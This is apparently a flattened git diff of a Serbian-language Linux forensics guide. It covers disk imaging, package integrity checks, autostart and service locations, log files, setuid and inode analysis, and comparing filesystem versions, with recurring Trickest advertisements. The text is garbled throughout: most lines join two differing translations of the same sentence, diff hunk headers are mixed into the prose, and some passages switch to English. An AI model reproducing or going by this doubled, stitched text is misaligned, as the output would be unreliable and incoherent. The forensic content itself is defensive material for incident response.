Postoje **2 načina** za gašenje sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već uzeli sliku memorije) i **malver neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač. Postoje **2 načina** za isključivanje sistema, **normalno isključivanje** i **"isključivanje iz struje"**. Prvi će omogućiti da se **procesi završe kao obično** i da se **fajl sistem** **sinhronizuje**, ali će takođe omogućiti mogućem **malware-u** da **uništi dokaze**. Pristup "isključivanja iz struje" može doneti **neke gubitke informacija** (neće se mnogo informacija izgubiti jer smo već uzeli sliku memorije) i **malware neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malware**, jednostavno izvršite **`sync`** **komandu** na sistemu i isključite iz struje.
#### Pravljenje slike diska #### Uzimanje slike diska
Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija. Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim vezanim za slučaj**, morate biti sigurni da će biti **montiran kao samo za čitanje** kako biste izbegli modifikaciju bilo kojih informacija.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -98,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file> dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
``` ```
### Predanaliza disk slike ### Disk Image pre-analysis
Kreiranje slike diska bez dodatnih podataka. Imaging a disk image with no more data.
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -156,36 +157,36 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Pretraga poznatih Malvera ## Pretraživanje poznatog Malware-a
### Modifikovane sistem datoteke ### Izmenjene sistemske datoteke
Linux nudi alate za osiguravanje integriteta sistemskih komponenti, ključnih za otkrivanje potencijalno problematičnih datoteka. Linux nudi alate za osiguranje integriteta sistemskih komponenti, što je ključno za uočavanje potencijalno problematičnih datoteka.
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru. * **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da identifikujete bilo kakve probleme. * **Sistemi zasnovani na Debian-u**: `dpkg --verify` za inicijalnu verifikaciju, a zatim `debsums | grep -v "OK$"` (nakon instalacije `debsums` sa `apt-get install debsums`) za identifikaciju bilo kakvih problema.
### Detektori Malvera/Rootkita ### Detektori Malware-a/Rootkit-a
Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera: Pročitajte sledeću stranicu da biste saznali više o alatima koji mogu biti korisni za pronalaženje malware-a:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
{% endcontent-ref %} {% endcontent-ref %}
## Pretraga instaliranih programa ## Pretraživanje instaliranih programa
Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistema logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima. Da biste efikasno pretražili instalirane programe na sistemima Debian i RedHat, razmotrite korišćenje sistemskih logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
* Za Debian, pregledajte _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija. * Za Debian, proverite _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
* Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa. * Korisnici RedHat-a mogu upititi RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi prikazali instalirane pakete.
Da biste otkrili softver instaliran ručno ili van ovih upravljača paketima, istražite direktorijume poput _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte listanje direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, unapređujući tako pretragu svih instaliranih programa. Da biste otkrili softver instaliran ručno ili van ovih menadžera paketa, istražite direktorijume kao što su _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte liste direktorijuma sa sistemskim komandama specifičnim za vašu platformu kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, čime poboljšavate pretragu za svim instaliranim programima.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,20 +205,20 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Obnovite izbrisane pokrenute binarne datoteke ## Oporavak obrisanih pokretnih binarnih datoteka
Zamislite proces koji je izvršen iz /tmp/exec a zatim izbrisan. Moguće je izvući ga Zamislite proces koji je izvršen iz /tmp/exec i zatim obrisan. Moguće je izvući ga
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
``` ```
## Pregled lokacija automatskog pokretanja ## Inspekcija lokacija za automatsko pokretanje
### Zakazani zadaci ### Zakazani zadaci
```bash ```bash
@ -233,94 +234,94 @@ cat /var/spool/cron/crontabs/* \
#MacOS #MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
``` ```
### Servisi ### Usluge
Putanje gde se zlonamerni softver može instalirati kao servis: Putanje gde se malver može instalirati kao usluga:
- **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje. * **/etc/inittab**: Poziva skripte inicijalizacije kao što su rc.sysinit, usmeravajući dalje na skripte za pokretanje.
- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ove potonje nalaze u starijim verzijama Linuxa. * **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje usluga, pri čemu se potonja nalazi u starijim verzijama Linux-a.
- **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje. * **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
- Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linuxa. * Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od Linux varijante.
- **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa. * **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou. * **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka uslugama koje treba pokrenuti u višekorisničkom režimu.
- **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana. * **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
- **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku. * **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za malver usmeren na korisnike.
- **/lib/systemd/system/**: Podrazumevane sistemski široko dostupne datoteke jedinica koje pružaju instalirani paketi. * **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
### Kernel Moduli ### Kernel Moduli
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke ključne za ove module uključuju: Linux kernel moduli, često korišćeni od strane malvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
- **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela. * **/lib/modules/$(uname -r)**: Sadrži module za verziju kernel-a koja se trenutno koristi.
- **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula. * **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
- **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalna podešavanja modula. * **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalne postavke modula.
### Ostale Lokacije za Automatsko Pokretanje ### Druge Lokacije za Automatsko Pokretanje
Linux koristi različite datoteke za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver: Linux koristi razne datoteke za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući malver:
- **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika. * **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koju prijavu korisnika.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
- **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju. * **/etc/rc.local**: Izvršava se nakon što su sve sistemske usluge pokrenute, označavajući kraj prelaska na višekorisničko okruženje.
## Pregledajte Logove ## Istraži Logove
Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log datoteka. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključne log datoteke uključuju: Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log datoteke. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih bezbednosnih incidenata. Ključne log datoteke uključuju:
- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti. * **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti širom sistema.
- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave. * **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja. * Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih događaja autentifikacije.
- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema. * **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
- **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje email-related servisa. * **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga vezanih za email.
- **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja. * **/var/log/kern.log**: Čuva poruke kernela, uključujući greške i upozorenja.
- **/var/log/dmesg**: Drži poruke upravljača uređaja. * **/var/log/dmesg**: Sadrži poruke drajvera uređaja.
- **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih prekršaja. * **/var/log/faillog**: Beleži neuspešne pokušaje prijave, pomažući u istragama bezbednosnih proboja.
- **/var/log/cron**: Beleži izvršavanja cron poslova. * **/var/log/cron**: Beleži izvršenja cron poslova.
- **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa. * **/var/log/daemon.log**: Prati aktivnosti pozadinskih usluga.
- **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave. * **/var/log/btmp**: Dokumentuje neuspešne pokušaje prijave.
- **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove. * **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže MySQL aktivnosti baze podataka. * **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
- **/var/log/xferlog**: Beleži FTP prenose datoteka. * **/var/log/xferlog**: Beleži FTP transfer fajlova.
- **/var/log/**: Uvek proverite ovde za neočekivane logove. * **/var/log/**: Uvek proverite neočekivane logove ovde.
{% hint style="info" %} {% hint style="info" %}
Linux sistemske logove i podsisteme za reviziju može biti onemogućeno ili obrisano u slučaju upada ili incidenta sa zlonamernim softverom. Budući da logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log datoteka, važno je tražiti praznine ili vanredne unose koji bi mogli biti indikacija brisanja ili manipulacije. Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa malverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
{% endhint %} {% endhint %}
**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u: **Linux održava istoriju komandi za svakog korisnika**, smeštenu u:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave. Pored toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
Proverite datoteke koje mogu dati dodatne privilegije: Proverite datoteke koje mogu dodeliti dodatne privilegije:
- Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene. * Pregledajte `/etc/sudoers` za neočekivane privilegije korisnika koje su možda dodeljene.
- Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene. * Pregledajte `/etc/sudoers.d/` za neočekivane privilegije korisnika koje su možda dodeljene.
- Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. * Istražite `/etc/groups` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
- Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole. * Istražite `/etc/passwd` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
Neki programi takođe generišu svoje logove: Neke aplikacije takođe generišu svoje logove:
- **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije. * **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
- **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene datoteke putem Gnome aplikacija. * **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
- **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti. * **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
- **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih datoteka i istorije pretrage. * **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su pristupane putanje datoteka i istorija pretrage.
- **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke. * **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
- **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose datoteka koji bi mogli biti neovlašćeni. * **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za transfer fajlova koji bi mogli biti neovlašćeni.
- **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti baze podataka. * **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlašćene aktivnosti u bazi podataka.
- **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande. * **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
- **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima. * **Git**: Istražite _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
### USB Logovi ### USB Logovi
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja. [**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije USB događaja.
Važno je **znati sve USB-ove koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB-ova kako biste pronašli "događaje kršenja" (korišćenje USB-ova koji nisu na toj listi). Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate ovlašćenu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
### Instalacija ### Instalacija
```bash ```bash
@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Pristupite danas: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja ## Pregled korisničkih naloga i aktivnosti prijavljivanja
Ispitajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neuobičajena imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\ Istražite _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne logove** za neobična imena ili naloge koji su kreirani i ili korišćeni u bliskoj blizini poznatih neovlašćenih događaja. Takođe, proverite moguće sudo brute-force napade.\
Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\ Pored toga, proverite datoteke kao što su _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije dodeljene korisnicima.\
Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa. Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama.
## Ispitivanje Fajl Sistema ## Istraživanje fajl sistema
### Analiza Struktura Fajl Sistema u Istraživanju Malvera ### Analiza struktura fajl sistema u istrazi malvera
Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike kako bi otežali ovu analizu, poput modifikacije vremena datoteka ili izbegavanja fajl sistema za skladištenje podataka. Kada istražujete incidente sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka fajlova ili izbegavanje fajl sistema za skladištenje podataka.
Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je: Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji. * **Sprovesti temeljnu analizu vremenskih linija** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskim linijama.
* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača. * **Istražiti neočekivane skripte** u sistemskom $PATH, koje mogu uključivati shell ili PHP skripte koje koriste napadači.
* **Ispitati `/dev` za atipične fajlove**, jer tradicionalno sadrži posebne fajlove, ali može sadržati fajlove povezane sa malverom. * **Istražiti `/dev` za atipične fajlove**, jer tradicionalno sadrži specijalne fajlove, ali može sadržati i fajlove povezane sa malverom.
* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj. * **Pretražiti skrivene fajlove ili direktorijume** sa imenima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji mogu skrivati zlonamerni sadržaj.
* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti. * **Identifikovati setuid root fajlove** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim privilegijama, koje napadači mogu zloupotrebiti.
* **Pregledati vremena brisanja** u tabelama inode-a kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanca. * **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja fajlova, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
* **Ispitati uzastopne inode-e** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno. * **Inspektovati uzastopne inode** za obližnje zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer ih malver može menjati. * **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi mogli biti izmenjeni od strane malvera.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -375,37 +376,37 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
{% hint style="info" %} {% hint style="info" %}
Imajte na umu da **napadač** može **izmeniti** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**. Napomena da **napadač** može **modifikovati** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može **modifikovati** **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i modifikovana u **isto vreme** kao i ostale datoteke u istoj fascikli, ali je **inode** **neočekivano veći**, tada su **vremenske oznake te datoteke modifikovane**.
{% endhint %} {% endhint %}
## Uporedite datoteke različitih verzija fajl sistema ## Uporedite datoteke različitih verzija datotečnog sistema
### Sažetak Uporedbe Verzija Fajl Sistema ### Sažetak uporedbe verzija datotečnog sistema
Da biste uporedili verzije fajl sistema i locirali promene, koristimo pojednostavljene `git diff` komande: Da bismo uporedili verzije datotečnog sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande:
* **Da biste pronašli nove datoteke**, uporedite dva direktorijuma: * **Da pronađete nove datoteke**, uporedite dve fascikle:
```bash ```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
``` ```
* **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije: * **Za izmenjen sadržaj**, navedite promene zanemarujući specifične linije:
```bash ```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
* **Za otkrivanje izbrisanih fajlova**: * **Da otkrijete obrisane fajlove**:
```bash ```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
``` ```
* **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene poput dodatih (`A`), izbrisanih (`D`) ili izmenjenih (`M`) fajlova. * **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene kao što su dodati (`A`), obrisani (`D`) ili izmenjeni (`M`) fajlovi.
* `A`: Dodati fajlovi * `A`: Dodati fajlovi
* `C`: Kopirani fajlovi * `C`: Kopirani fajlovi
* `D`: Izbrisani fajlovi * `D`: Obrisani fajlovi
* `M`: Izmenjeni fajlovi * `M`: Izmenjeni fajlovi
* `R`: Preimenovani fajlovi * `R`: Preimenovani fajlovi
* `T`: Promene tipa (npr. fajl u simboličku vezu) * `T`: Promene tipa (npr., fajl u symlink)
* `U`: Nespajani fajlovi * `U`: Neusaglašeni fajlovi
* `X`: Nepoznati fajlovi * `X`: Nepoznati fajlovi
* `B`: Oštećeni fajlovi * `B`: Pokvareni fajlovi
